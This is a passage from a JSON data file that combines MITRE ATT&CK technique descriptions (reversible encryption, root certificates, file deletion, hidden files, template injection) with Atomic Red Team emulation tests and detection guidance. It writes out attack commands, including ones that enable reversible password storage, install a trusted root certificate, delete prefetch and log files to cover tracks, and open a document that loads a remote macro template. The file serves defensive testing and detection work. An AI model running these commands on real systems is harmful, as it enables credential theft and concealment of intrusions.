- "url": "https://docs.microsoft.com/en-us/windows/security/threat-protection/security-policy-settings/store-passwords-using-reversible-encryption",
- "description": "Microsoft. (2021, October 28). Store passwords using reversible encryption. Retrieved January 3, 2022."
- },
- {
- "source_name": "how_pwd_rev_enc_1",
- "url": "http://blog.teusink.net/2009/08/passwords-stored-using-reversible.html",
- "description": "Teusink, N. (2009, August 25). Passwords stored using reversible encryption: how it works (part 1). Retrieved November 17, 2021."
- },
- {
- "source_name": "how_pwd_rev_enc_2",
- "url": "http://blog.teusink.net/2009/08/passwords-stored-using-reversible_26.html",
- "description": "Teusink, N. (2009, August 26). Passwords stored using reversible encryption: how it works (part 2). Retrieved November 17, 2021."
- },
- {
- "source_name": "dump_pwd_dcsync",
- "url": "https://adsecurity.org/?p=2053",
- "description": "Metcalf, S. (2015, November 22). Dump Clear-Text Passwords for All Admins in the Domain Using Mimikatz DCSync. Retrieved November 15, 2021."
- }
- ],
- "modified": "2022-02-10T21:35:25.377Z",
- "name": "Reversible Encryption",
- "description": "An adversary may abuse Active Directory authentication encryption properties to gain access to credentials on Windows systems. The AllowReversiblePasswordEncryption
property specifies whether reversible password encryption for an account is enabled or disabled. By default this property is disabled (instead storing user credentials as the output of one-way hashing functions) and should not be enabled unless legacy or other software require it.(Citation: store_pwd_rev_enc)\n\nIf the property is enabled and/or a user changes their password after it is enabled, an adversary may be able to obtain the plaintext of passwords created/changed after the property was enabled. To decrypt the passwords, an adversary needs four components:\n\n1. Encrypted password (G$RADIUSCHAP
) from the Active Directory user-structure userParameters
\n2. 16 byte randomly-generated value (G$RADIUSCHAPKEY
) also from userParameters
\n3. Global LSA secret (G$MSRADIUSCHAPKEY
)\n4. Static key hardcoded in the Remote Access Subauthentication DLL (RASSFM.DLL
)\n\nWith this information, an adversary may be able to reproduce the encryption key and subsequently decrypt the encrypted password value.(Citation: how_pwd_rev_enc_1)(Citation: how_pwd_rev_enc_2)\n\nAn adversary may set this property at various scopes through Local Group Policy Editor, user properties, Fine-Grained Password Policy (FGPP), or via the ActiveDirectory [PowerShell](https://attack.mitre.org/techniques/T1059/001) module. For example, an adversary may implement and apply a FGPP to users or groups if the Domain Functional Level is set to \"Windows Server 2008\" or higher.(Citation: dump_pwd_dcsync) In PowerShell, an adversary may make associated changes to user settings using commands similar to Set-ADUser -AllowReversiblePasswordEncryption $true
.",
- "kill_chain_phases": [
- {
- "kill_chain_name": "mitre-attack",
- "phase_name": "credential-access"
- },
- {
- "kill_chain_name": "mitre-attack",
- "phase_name": "defense-evasion"
- },
- {
- "kill_chain_name": "mitre-attack",
- "phase_name": "persistence"
- }
- ],
- "x_mitre_detection": "Monitor property changes in Group Policy: Computer Configuration\\Windows Settings\\Security Settings\\Account Policies\\Password Policy\\Store passwords using reversible encryption
. By default, the property should be set to Disabled.\n\nMonitor command-line usage for -AllowReversiblePasswordEncryption $true
or other actions that could be related to malicious tampering of user settings (i.e. [Group Policy Modification](https://attack.mitre.org/techniques/T1484/001)). Furthermore, consider monitoring and/or blocking suspicious execution of Active Directory PowerShell modules, such as Set-ADUser
and Set-ADAccountControl
, that change account configurations. \n\nMonitor Fine-Grained Password Policies and regularly audit user accounts and group settings.(Citation: dump_pwd_dcsync)",
- "x_mitre_is_subtechnique": true,
- "x_mitre_version": "1.0",
- "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
- "x_mitre_data_sources": [
- "User Account: User Account Metadata",
- "Active Directory: Active Directory Object Modification",
- "Command: Command Execution",
- "Script: Script Execution"
- ],
- "x_mitre_permissions_required": [
- "User",
- "Administrator"
- ]
- },
- "atomic_tests": []
- },
- "T1130": {
- "technique": {
- "x_mitre_platforms": [
- "Linux",
- "Windows",
- "macOS"
- ],
- "x_mitre_domains": [
- "enterprise-attack"
- ],
- "x_mitre_contributors": [
- "Itzik Kotler, SafeBreach",
- "Travis Smith, Tripwire",
- "Red Canary",
- "Matt Graeber, @mattifestation, SpecterOps"
- ],
- "object_marking_refs": [
- "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
- ],
- "id": "attack-pattern--d519cfd5-f3a8-43a9-a846-ed0bb40672b1",
- "type": "attack-pattern",
- "created": "2017-05-31T21:31:42.750Z",
- "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
- "revoked": true,
- "external_references": [
- {
- "source_name": "mitre-attack",
- "external_id": "T1130",
- "url": "https://attack.mitre.org/techniques/T1130"
- },
- {
- "external_id": "CAPEC-479",
- "source_name": "capec",
- "url": "https://capec.mitre.org/data/definitions/479.html"
- },
- {
- "url": "https://en.wikipedia.org/wiki/Root_certificate",
- "description": "Wikipedia. (2016, December 6). Root certificate. Retrieved February 20, 2017.",
- "source_name": "Wikipedia Root Certificate"
- },
- {
- "url": "http://www.trendmicro.com/cloud-content/us/pdfs/security-intelligence/white-papers/wp-finding-holes-operation-emmental.pdf",
- "description": "Sancho, D., Hacquebord, F., Link, R. (2014, July 22). Finding Holes Operation Emmental. Retrieved February 9, 2016.",
- "source_name": "Operation Emmental"
- },
- {
- "url": "https://www.kaspersky.com/blog/lenovo-pc-with-adware-superfish-preinstalled/7712/",
- "description": "Onuma. (2015, February 24). Superfish: Adware Preinstalled on Lenovo Laptops. Retrieved February 20, 2017.",
- "source_name": "Kaspersky Superfish"
- },
- {
- "source_name": "SpectorOps Code Signing Dec 2017",
- "description": "Graeber, M. (2017, December 22). Code Signing Certificate Cloning Attacks and Defenses. Retrieved April 3, 2018.",
- "url": "https://posts.specterops.io/code-signing-certificate-cloning-attacks-and-defenses-6f98657fc6ec"
- },
- {
- "source_name": "objective-see ay mami 2018",
- "description": "Patrick Wardle. (2018, January 11). Ay MaMi. Retrieved March 19, 2018.",
- "url": "https://objective-see.com/blog/blog_0x26.html"
- },
- {
- "source_name": "Microsoft Sigcheck May 2017",
- "description": "Russinovich, M. et al.. (2017, May 22). Sigcheck. Retrieved April 3, 2018.",
- "url": "https://docs.microsoft.com/sysinternals/downloads/sigcheck"
- },
- {
- "url": "https://www.tripwire.com/state-of-security/off-topic/appunblocker-bypassing-applocker/",
- "description": "Smith, T. (2016, October 27). AppUNBlocker: Bypassing AppLocker. Retrieved December 19, 2017.",
- "source_name": "Tripwire AppUNBlocker"
- }
- ],
- "modified": "2020-02-21T21:11:06.761Z",
- "name": "Install Root Certificate",
- "description": "Root certificates are used in public key cryptography to identify a root certificate authority (CA). When a root certificate is installed, the system or application will trust certificates in the root's chain of trust that have been signed by the root certificate. (Citation: Wikipedia Root Certificate) Certificates are commonly used for establishing secure TLS/SSL communications within a web browser. When a user attempts to browse a website that presents a certificate that is not trusted an error message will be displayed to warn the user of the security risk. Depending on the security settings, the browser may not allow the user to establish a connection to the website.\n\nInstallation of a root certificate on a compromised system would give an adversary a way to degrade the security of that system. Adversaries have used this technique to avoid security warnings prompting users when compromised systems connect over HTTPS to adversary controlled web servers that spoof legitimate websites in order to collect login credentials. (Citation: Operation Emmental)\n\nAtypical root certificates have also been pre-installed on systems by the manufacturer or in the software supply chain and were used in conjunction with malware/adware to provide a man-in-the-middle capability for intercepting information transmitted over secure TLS/SSL communications. (Citation: Kaspersky Superfish)\n\nRoot certificates (and their associated chains) can also be cloned and reinstalled. Cloned certificate chains will carry many of the same metadata characteristics of the source and can be used to sign malicious code that may then bypass signature validation tools (ex: Sysinternals, antivirus, etc.) used to block execution and/or uncover artifacts of Persistence. (Citation: SpectorOps Code Signing Dec 2017)\n\nIn macOS, the Ay MaMi malware uses /usr/bin/security add-trusted-cert -d -r trustRoot -k /Library/Keychains/System.keychain /path/to/malicious/cert
to install a malicious certificate as a trusted root certificate into the system keychain. (Citation: objective-see ay mami 2018)",
- "kill_chain_phases": [
- {
- "kill_chain_name": "mitre-attack",
- "phase_name": "defense-evasion"
- }
- ],
- "x_mitre_detection": "A system's root certificates are unlikely to change frequently. Monitor new certificates installed on a system that could be due to malicious activity. (Citation: SpectorOps Code Signing Dec 2017) Check pre-installed certificates on new systems to ensure unnecessary or suspicious certificates are not present. Microsoft provides a list of trustworthy root certificates online and through authroot.stl. (Citation: SpectorOps Code Signing Dec 2017) The Sysinternals Sigcheck utility can also be used (sigcheck[64].exe -tuv
) to dump the contents of the certificate store and list valid certificates not rooted to the Microsoft Certificate Trust List. (Citation: Microsoft Sigcheck May 2017)\n\nInstalled root certificates are located in the Registry under HKLM\\SOFTWARE\\Microsoft\\EnterpriseCertificates\\Root\\Certificates\\
and [HKLM or HKCU]\\Software[\\Policies\\]\\Microsoft\\SystemCertificates\\Root\\Certificates\\
. There are a subset of root certificates that are consistent across Windows systems and can be used for comparison: (Citation: Tripwire AppUNBlocker)\n\n* 18F7C1FCC3090203FD5BAA2F861A754976C8DD25\n* 245C97DF7514E7CF2DF8BE72AE957B9E04741E85\n* 3B1EFD3A66EA28B16697394703A72CA340A05BD5\n* 7F88CD7223F3C813818C994614A89C99FA3B5247\n* 8F43288AD272F3103B6FB1428485EA3014C0BCFE\n* A43489159A520F0D93D032CCAF37E7FE20A8B419\n* BE36A4562FB2EE05DBB3D32323ADF445084ED656\n* CDD4EEAE6000AC7F40C3802C171E30148030C072",
- "x_mitre_version": "1.0",
- "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
- "x_mitre_defense_bypassed": [
- "Digital Certificate Validation"
- ],
- "x_mitre_permissions_required": [
- "Administrator",
- "User"
- ]
- },
- "atomic_tests": []
- },
- "T1070.004": {
- "technique": {
- "x_mitre_platforms": [
- "Linux",
- "macOS",
- "Windows"
- ],
- "x_mitre_domains": [
- "enterprise-attack"
- ],
- "x_mitre_contributors": [
- "Walker Johnson"
- ],
- "object_marking_refs": [
- "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
- ],
- "type": "attack-pattern",
- "id": "attack-pattern--d63a3fb8-9452-4e9d-a60a-54be68d5998c",
- "created": "2020-01-31T12:35:36.479Z",
- "x_mitre_version": "1.1",
- "external_references": [
- {
- "source_name": "mitre-attack",
- "external_id": "T1070.004",
- "url": "https://attack.mitre.org/techniques/T1070/004"
- },
- {
- "source_name": "Microsoft SDelete July 2016",
- "url": "https://docs.microsoft.com/en-us/sysinternals/downloads/sdelete",
- "description": "Russinovich, M. (2016, July 4). SDelete v2.0. Retrieved February 8, 2018."
- }
- ],
- "x_mitre_deprecated": false,
- "revoked": false,
- "description": "Adversaries may delete files left behind by the actions of their intrusion activity. Malware, tools, or other non-native files dropped or created on a system by an adversary (ex: [Ingress Tool Transfer](https://attack.mitre.org/techniques/T1105)) may leave traces to indicate to what was done within a network and how. Removal of these files can occur during an intrusion, or as part of a post-intrusion process to minimize the adversary's footprint.\n\nThere are tools available from the host operating system to perform cleanup, but adversaries may use other tools as well.(Citation: Microsoft SDelete July 2016) Examples of built-in [Command and Scripting Interpreter](https://attack.mitre.org/techniques/T1059) functions include del
on Windows and rm
or unlink
on Linux and macOS.",
- "modified": "2022-04-16T18:25:43.231Z",
- "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
- "name": "Indicator Removal on Host: File Deletion",
- "x_mitre_detection": "It may be uncommon for events related to benign command-line functions such as DEL or third-party utilities or tools to be found in an environment, depending on the user base and how systems are typically used. Monitoring for command-line deletion functions to correlate with binaries or other files that an adversary may drop and remove may lead to detection of malicious activity. Another good practice is monitoring for known deletion and secure deletion tools that are not already on systems within an enterprise network that an adversary could introduce. Some monitoring tools may collect command-line arguments, but may not capture DEL commands since DEL is a native function within cmd.exe.",
- "kill_chain_phases": [
- {
- "kill_chain_name": "mitre-attack",
- "phase_name": "defense-evasion"
- }
- ],
- "x_mitre_is_subtechnique": true,
- "x_mitre_data_sources": [
- "Command: Command Execution",
- "File: File Deletion"
- ],
- "x_mitre_defense_bypassed": [
- "Host forensic analysis"
- ],
- "x_mitre_attack_spec_version": "2.1.0",
- "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
- "identifier": "T1070.004"
- },
- "atomic_tests": [
- {
- "name": "Delete a single file - Windows cmd",
- "auto_generated_guid": "861ea0b4-708a-4d17-848d-186c9c7f17e3",
- "description": "Delete a single file from the temporary directory using cmd.exe.\nUpon execution, no output will be displayed. Use File Explorer to verify the file was deleted.\n",
- "supported_platforms": [
- "windows"
- ],
- "input_arguments": {
- "file_to_delete": {
- "description": "File to delete. Run the prereq command to create it if it does not exist.",
- "type": "string",
- "default": "%temp%\\deleteme_T1551.004"
- }
- },
- "dependency_executor_name": "command_prompt",
- "dependencies": [
- {
- "description": "The file to delete must exist on disk at specified location (#{file_to_delete})\n",
- "prereq_command": "IF EXIST \"#{file_to_delete}\" ( EXIT 0 ) ELSE ( EXIT 1 )\n",
- "get_prereq_command": "echo deleteme_T1551.004 >> #{file_to_delete}\n"
- }
- ],
- "executor": {
- "command": "del /f #{file_to_delete}\n",
- "name": "command_prompt"
- }
- },
- {
- "name": "Delete an entire folder - Windows cmd",
- "auto_generated_guid": "ded937c4-2add-42f7-9c2c-c742b7a98698",
- "description": "Recursively delete a folder in the temporary directory using cmd.exe.\nUpon execution, no output will be displayed. Use File Explorer to verify the folder was deleted.\n",
- "supported_platforms": [
- "windows"
- ],
- "input_arguments": {
- "folder_to_delete": {
- "description": "Folder to delete. Run the prereq command to create it if it does not exist.",
- "type": "string",
- "default": "%temp%\\deleteme_T1551.004"
- }
- },
- "dependency_executor_name": "command_prompt",
- "dependencies": [
- {
- "description": "The file to delete must exist on disk at specified location (#{folder_to_delete})\n",
- "prereq_command": "IF EXIST \"#{folder_to_delete}\" ( EXIT 0 ) ELSE ( EXIT 1 )\n",
- "get_prereq_command": "mkdir #{folder_to_delete}\n"
- }
- ],
- "executor": {
- "command": "rmdir /s /q #{folder_to_delete}\n",
- "name": "command_prompt"
- }
- },
- {
- "name": "Delete a single file - Windows PowerShell",
- "auto_generated_guid": "9dee89bd-9a98-4c4f-9e2d-4256690b0e72",
- "description": "Delete a single file from the temporary directory using Powershell. Upon execution, no output will be displayed. Use File Explorer to verify the file was deleted.\n",
- "supported_platforms": [
- "windows"
- ],
- "input_arguments": {
- "file_to_delete": {
- "description": "File to delete. Run the prereq command to create it if it does not exist.",
- "type": "string",
- "default": "$env:TEMP\\deleteme_T1551.004"
- }
- },
- "dependency_executor_name": "powershell",
- "dependencies": [
- {
- "description": "The file to delete must exist on disk at specified location (#{file_to_delete})\n",
- "prereq_command": "if (Test-Path #{file_to_delete}) {exit 0} else {exit 1}\n",
- "get_prereq_command": "New-Item -Path #{file_to_delete} | Out-Null\n"
- }
- ],
- "executor": {
- "command": "Remove-Item -path #{file_to_delete}\n",
- "name": "powershell"
- }
- },
- {
- "name": "Delete an entire folder - Windows PowerShell",
- "auto_generated_guid": "edd779e4-a509-4cba-8dfa-a112543dbfb1",
- "description": "Recursively delete a folder in the temporary directory using Powershell. Upon execution, no output will be displayed. Use File Explorer to verify the folder was deleted.\n",
- "supported_platforms": [
- "windows"
- ],
- "input_arguments": {
- "folder_to_delete": {
- "description": "Folder to delete. Run the prereq command to create it if it does not exist.",
- "type": "string",
- "default": "$env:TEMP\\deleteme_folder_T1551.004"
- }
- },
- "dependency_executor_name": "powershell",
- "dependencies": [
- {
- "description": "The folder to delete must exist on disk at specified location (#{folder_to_delete})\n",
- "prereq_command": "if (Test-Path #{folder_to_delete}) {exit 0} else {exit 1}\n",
- "get_prereq_command": "New-Item -Path #{folder_to_delete} -Type Directory | Out-Null\n"
- }
- ],
- "executor": {
- "command": "Remove-Item -Path #{folder_to_delete} -Recurse\n",
- "name": "powershell"
- }
- },
- {
- "name": "Delete Prefetch File",
- "auto_generated_guid": "36f96049-0ad7-4a5f-8418-460acaeb92fb",
- "description": "Delete a single prefetch file. Deletion of prefetch files is a known anti-forensic technique. To verify execution, Run \"(Get-ChildItem -Path \"$Env:SystemRoot\\prefetch\\*.pf\" | Measure-Object).Count\"\nbefore and after the test to verify that the number of prefetch files decreases by 1.\n",
- "supported_platforms": [
- "windows"
- ],
- "executor": {
- "command": "Remove-Item -Path (Join-Path \"$Env:SystemRoot\\prefetch\\\" (Get-ChildItem -Path \"$Env:SystemRoot\\prefetch\\*.pf\" -Name)[0])\n",
- "name": "powershell",
- "elevation_required": true
- }
- },
- {
- "name": "Delete TeamViewer Log Files",
- "auto_generated_guid": "69f50a5f-967c-4327-a5bb-e1a9a9983785",
- "description": "Adversaries may delete TeamViewer log files to hide activity. This should provide a high true-positive alert ration.\nThis test just places the files in a non-TeamViewer folder, a detection would just check for a deletion event matching the TeamViewer\nlog file format of TeamViewer_##.log. Upon execution, no output will be displayed. Use File Explorer to verify the folder was deleted.\n\nhttps://twitter.com/SBousseaden/status/1197524463304290305?s=20\n",
- "supported_platforms": [
- "windows"
- ],
- "input_arguments": {
- "teamviewer_log_file": {
- "description": "Teamviewer log file to create and delete.",
- "type": "string",
- "default": "$env:TEMP\\TeamViewer_54.log"
- }
- },
- "executor": {
- "command": "New-Item -Path #{teamviewer_log_file} -Force | Out-Null\nRemove-Item #{teamviewer_log_file} -Force -ErrorAction Ignore\n",
- "name": "powershell"
- }
- }
- ]
- },
- "T1158": {
- "technique": {
- "x_mitre_platforms": [
- "Linux",
- "macOS",
- "Windows"
- ],
- "x_mitre_domains": [
- "enterprise-attack"
- ],
- "object_marking_refs": [
- "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
- ],
- "id": "attack-pattern--dc27c2ec-c5f9-4228-ba57-d67b590bda93",
- "type": "attack-pattern",
- "created": "2017-12-14T16:46:06.044Z",
- "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
- "revoked": true,
- "external_references": [
- {
- "source_name": "mitre-attack",
- "external_id": "T1158",
- "url": "https://attack.mitre.org/techniques/T1158"
- },
- {
- "url": "https://researchcenter.paloaltonetworks.com/2016/09/unit42-sofacys-komplex-os-x-trojan/",
- "description": "Dani Creus, Tyler Halfpop, Robert Falcone. (2016, September 26). Sofacy's 'Komplex' OS X Trojan. Retrieved July 8, 2017.",
- "source_name": "Sofacy Komplex Trojan"
- },
- {
- "url": "https://blog.malwarebytes.com/threat-analysis/2017/01/new-mac-backdoor-using-antiquated-code/",
- "description": "Thomas Reed. (2017, January 18). New Mac backdoor using antiquated code. Retrieved July 5, 2017.",
- "source_name": "Antiquated Mac Malware"
- },
- {
- "url": "https://www.paloaltonetworks.com/content/dam/pan/en_US/assets/pdf/reports/Unit_42/unit42-wirelurker.pdf",
- "description": "Claud Xiao. (n.d.). WireLurker: A New Era in iOS and OS X Malware. Retrieved July 10, 2017.",
- "source_name": "WireLurker"
- }
- ],
- "modified": "2020-03-13T21:01:22.966Z",
- "name": "Hidden Files and Directories",
- "description": "To prevent normal users from accidentally changing special files on a system, most operating systems have the concept of a \u2018hidden\u2019 file. These files don\u2019t show up when a user browses the file system with a GUI or when using normal commands on the command line. Users must explicitly ask to show the hidden files either via a series of Graphical User Interface (GUI) prompts or with command line switches (dir /a
for Windows and ls \u2013a
for Linux and macOS).\n\nAdversaries can use this to their advantage to hide files and folders anywhere on the system for persistence and evading a typical user or system analysis that does not incorporate investigation of hidden files.\n\n### Windows\n\nUsers can mark specific files as hidden by using the attrib.exe binary. Simply do attrib +h filename
to mark a file or folder as hidden. Similarly, the \u201c+s\u201d marks a file as a system file and the \u201c+r\u201d flag marks the file as read only. Like most windows binaries, the attrib.exe binary provides the ability to apply these changes recursively \u201c/S\u201d.\n\n### Linux/Mac\n\nUsers can mark specific files as hidden simply by putting a \u201c.\u201d as the first character in the file or folder name (Citation: Sofacy Komplex Trojan) (Citation: Antiquated Mac Malware). Files and folder that start with a period, \u2018.\u2019, are by default hidden from being viewed in the Finder application and standard command-line utilities like \u201cls\u201d. Users must specifically change settings to have these files viewable. For command line usages, there is typically a flag to see all files (including hidden ones). To view these files in the Finder Application, the following command must be executed: defaults write com.apple.finder AppleShowAllFiles YES
, and then relaunch the Finder Application.\n\n### Mac\n\nFiles on macOS can be marked with the UF_HIDDEN flag which prevents them from being seen in Finder.app, but still allows them to be seen in Terminal.app (Citation: WireLurker).\nMany applications create these hidden files and folders to store information so that it doesn\u2019t clutter up the user\u2019s workspace. For example, SSH utilities create a .ssh folder that\u2019s hidden and contains the user\u2019s known hosts and keys.",
- "kill_chain_phases": [
- {
- "kill_chain_name": "mitre-attack",
- "phase_name": "defense-evasion"
- },
- {
- "kill_chain_name": "mitre-attack",
- "phase_name": "persistence"
- }
- ],
- "x_mitre_detection": "Monitor the file system and shell commands for files being created with a leading \".\" and the Windows command-line use of attrib.exe to add the hidden attribute.",
- "x_mitre_version": "1.0",
- "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
- "x_mitre_defense_bypassed": [
- "Host forensic analysis"
- ],
- "x_mitre_permissions_required": [
- "User"
- ]
- },
- "atomic_tests": []
- },
- "T1221": {
- "technique": {
- "x_mitre_platforms": [
- "Windows"
- ],
- "x_mitre_domains": [
- "enterprise-attack"
- ],
- "x_mitre_contributors": [
- "Michael Raggi @aRtAGGI",
- "Brian Wiltse @evalstrings",
- "Patrick Campbell, @pjcampbe11"
- ],
- "object_marking_refs": [
- "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
- ],
- "id": "attack-pattern--dc31fe1e-d722-49da-8f5f-92c7b5aff534",
- "type": "attack-pattern",
- "created": "2018-10-17T00:14:20.652Z",
- "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
- "external_references": [
- {
- "source_name": "mitre-attack",
- "external_id": "T1221",
- "url": "https://attack.mitre.org/techniques/T1221"
- },
- {
- "url": "https://docs.microsoft.com/previous-versions/office/developer/office-2007/aa338205(v=office.12)",
- "description": "Microsoft. (2014, July 9). Introducing the Office (2007) Open XML File Formats. Retrieved July 20, 2018.",
- "source_name": "Microsoft Open XML July 2017"
- },
- {
- "source_name": "SANS Brian Wiltse Template Injection",
- "url": "https://www.sans.org/reading-room/whitepapers/testing/template-injection-attacks-bypassing-security-controls-living-land-38780",
- "description": "Wiltse, B.. (2018, November 7). Template Injection Attacks - Bypassing Security Controls by Living off the Land. Retrieved April 10, 2019."
- },
- {
- "url": "http://blog.redxorblue.com/2018/07/executing-macros-from-docx-with-remote.html",
- "description": "Hawkins, J. (2018, July 18). Executing Macros From a DOCX With Remote Template Injection. Retrieved October 12, 2018.",
- "source_name": "Redxorblue Remote Template Injection"
- },
- {
- "url": "https://blog.malwarebytes.com/threat-analysis/2017/10/decoy-microsoft-word-document-delivers-malware-through-rat/",
- "description": "Segura, J. (2017, October 13). Decoy Microsoft Word document delivers malware through a RAT. Retrieved July 21, 2018.",
- "source_name": "MalwareBytes Template Injection OCT 2017"
- },
- {
- "source_name": "Proofpoint RTF Injection",
- "url": "https://www.proofpoint.com/us/blog/threat-insight/injection-new-black-novel-rtf-template-inject-technique-poised-widespread",
- "description": "Raggi, M. (2021, December 1). Injection is the New Black: Novel RTF Template Inject Technique Poised for Widespread Adoption\u202fBeyond APT Actors\u202f. Retrieved December 9, 2021."
- },
- {
- "source_name": "Ciberseguridad Decoding malicious RTF files",
- "url": "https://ciberseguridad.blog/decodificando-ficheros-rtf-maliciosos/",
- "description": "Pedrero, R.. (2021, July). Decoding malicious RTF files. Retrieved November 16, 2021."
- },
- {
- "url": "https://forum.anomali.com/t/credential-harvesting-and-malicious-file-delivery-using-microsoft-office-template-injection/2104",
- "description": "Intel_Acquisition_Team. (2018, March 1). Credential Harvesting and Malicious File Delivery using Microsoft Office Template Injection. Retrieved July 20, 2018.",
- "source_name": "Anomali Template Injection MAR 2018"
- },
- {
- "url": "https://blog.talosintelligence.com/2017/07/template-injection.html",
- "description": "Baird, S. et al.. (2017, July 7). Attack on Critical Infrastructure Leverages Template Injection. Retrieved July 21, 2018.",
- "source_name": "Talos Template Injection July 2017"
- },
- {
- "url": "https://github.com/ryhanson/phishery",
- "description": "Hanson, R. (2016, September 24). phishery. Retrieved July 21, 2018.",
- "source_name": "ryhanson phishery SEPT 2016"
- }
- ],
- "modified": "2022-01-12T18:16:56.176Z",
- "name": "Template Injection",
- "description": "Adversaries may create or modify references in user document templates to conceal malicious code or force authentication attempts. For example, Microsoft\u2019s Office Open XML (OOXML) specification defines an XML-based format for Office documents (.docx, xlsx, .pptx) to replace older binary formats (.doc, .xls, .ppt). OOXML files are packed together ZIP archives compromised of various XML files, referred to as parts, containing properties that collectively define how a document is rendered.(Citation: Microsoft Open XML July 2017)\n\nProperties within parts may reference shared public resources accessed via online URLs. For example, template properties may reference a file, serving as a pre-formatted document blueprint, that is fetched when the document is loaded.\n\nAdversaries may abuse these templates to initially conceal malicious code to be executed via user documents. Template references injected into a document may enable malicious payloads to be fetched and executed when the document is loaded.(Citation: SANS Brian Wiltse Template Injection) These documents can be delivered via other techniques such as [Phishing](https://attack.mitre.org/techniques/T1566) and/or [Taint Shared Content](https://attack.mitre.org/techniques/T1080) and may evade static detections since no typical indicators (VBA macro, script, etc.) are present until after the malicious payload is fetched.(Citation: Redxorblue Remote Template Injection) Examples have been seen in the wild where template injection was used to load malicious code containing an exploit.(Citation: MalwareBytes Template Injection OCT 2017)\n\nAdversaries may also modify the *\\template
control word within an .rtf file to similarly conceal then download malicious code. This legitimate control word value is intended to be a file destination of a template file resource that is retrieved and loaded when an .rtf file is opened. However, adversaries may alter the bytes of an existing .rtf file to insert a template control word field to include a URL resource of a malicious payload.(Citation: Proofpoint RTF Injection)(Citation: Ciberseguridad Decoding malicious RTF files)\n\nThis technique may also enable [Forced Authentication](https://attack.mitre.org/techniques/T1187) by injecting a SMB/HTTPS (or other credential prompting) URL and triggering an authentication attempt.(Citation: Anomali Template Injection MAR 2018)(Citation: Talos Template Injection July 2017)(Citation: ryhanson phishery SEPT 2016)",
- "kill_chain_phases": [
- {
- "kill_chain_name": "mitre-attack",
- "phase_name": "defense-evasion"
- }
- ],
- "x_mitre_detection": "Analyze process behavior to determine if user document applications (such as Office) are performing actions, such as opening network connections, reading files, spawning abnormal child processes (ex: [PowerShell](https://attack.mitre.org/techniques/T1059/001)), or other suspicious actions that could relate to post-compromise behavior.\n\nMonitor .rtf files for strings indicating the *\\template
control word has been modified to retrieve a URL resource, such as *\\template http
or *\\template \\u-
.",
- "x_mitre_version": "1.3",
- "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
- "x_mitre_data_sources": [
- "Process: Process Creation",
- "Network Traffic: Network Traffic Content",
- "Network Traffic: Network Connection Creation"
- ],
- "x_mitre_defense_bypassed": [
- "Static File Analysis"
- ],
- "x_mitre_permissions_required": [
- "User"
- ],
- "identifier": "T1221"
- },
- "atomic_tests": [
- {
- "name": "WINWORD Remote Template Injection",
- "auto_generated_guid": "1489e08a-82c7-44ee-b769-51b72d03521d",
- "description": "Open a .docx file that loads a remote .dotm macro enabled template from https://github.com/redcanaryco/atomic-red-team/tree/master/atomics/T1221/src/opencalc.dotm \nExecutes the code specified within the .dotm template.\nRequires download of WINWORD found in Microsoft Ofiice at Microsoft: https://www.microsoft.com/en-us/download/office.aspx. \nDefault docs file opens Calculator.exe when test sucessfully executed, while AV turned off.\n",
- "supported_platforms": [
- "windows"
- ],
- "input_arguments": {
- "docx_file": {
- "description": "Location of the test docx file on the local filesystem.",
- "type": "path",
- "default": "PathToAtomicsFolder\\T1221\\src\\Calculator.docx"
- }
- },
- "dependency_executor_name": "powershell",
- "dependencies": [
- {
- "description": "",
- "prereq_command": "",
- "get_prereq_command": ""
- }
- ],
- "executor": {
- "command": "start #{docx_file}\n",
- "name": "command_prompt"
- }
- }
- ]
- },
- "T1134": {
- "technique": {
- "x_mitre_platforms": [
- "Windows"
- ],
- "x_mitre_domains": [
- "enterprise-attack"
- ],
- "x_mitre_contributors": [
- "Tom Ueltschi @c_APT_ure",
- "Travis Smith, Tripwire",
- "Robby Winchester, @robwinchester3",
- "Jared Atkinson, @jaredcatkinson"
- ],
- "object_marking_refs": [
- "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
- ],
- "type": "attack-pattern",
- "id": "attack-pattern--dcaa092b-7de9-4a21-977f-7fcb77e89c48",
- "created": "2017-12-14T16:46:06.044Z",
- "x_mitre_version": "2.0",
- "external_references": [
- {
- "source_name": "mitre-attack",
- "external_id": "T1134",
- "url": "https://attack.mitre.org/techniques/T1134"
- },
- {
- "source_name": "BlackHat Atkinson Winchester Token Manipulation",
- "url": "https://www.blackhat.com/docs/eu-17/materials/eu-17-Atkinson-A-Process-Is-No-One-Hunting-For-Token-Manipulation.pdf",
- "description": "Atkinson, J., Winchester, R. (2017, December 7). A Process is No One: Hunting for Token Manipulation. Retrieved December 21, 2017."
- },
- {
- "source_name": "Microsoft Command-line Logging",
- "url": "https://technet.microsoft.com/en-us/windows-server-docs/identity/ad-ds/manage/component-updates/command-line-process-auditing",
- "description": "Mathers, B. (2017, March 7). Command line process auditing. Retrieved April 21, 2017."
- },
- {
- "source_name": "Microsoft LogonUser",
- "url": "https://msdn.microsoft.com/en-us/library/windows/desktop/aa378184(v=vs.85).aspx",
- "description": "Microsoft TechNet. (n.d.). Retrieved April 25, 2017."
- },
- {
- "source_name": "Microsoft DuplicateTokenEx",
- "url": "https://msdn.microsoft.com/en-us/library/windows/desktop/aa446617(v=vs.85).aspx",
- "description": "Microsoft TechNet. (n.d.). Retrieved April 25, 2017."
- },
- {
- "source_name": "Microsoft ImpersonateLoggedOnUser",
- "url": "https://msdn.microsoft.com/en-us/library/windows/desktop/aa378612(v=vs.85).aspx",
- "description": "Microsoft TechNet. (n.d.). Retrieved April 25, 2017."
- },
- {
- "source_name": "Pentestlab Token Manipulation",
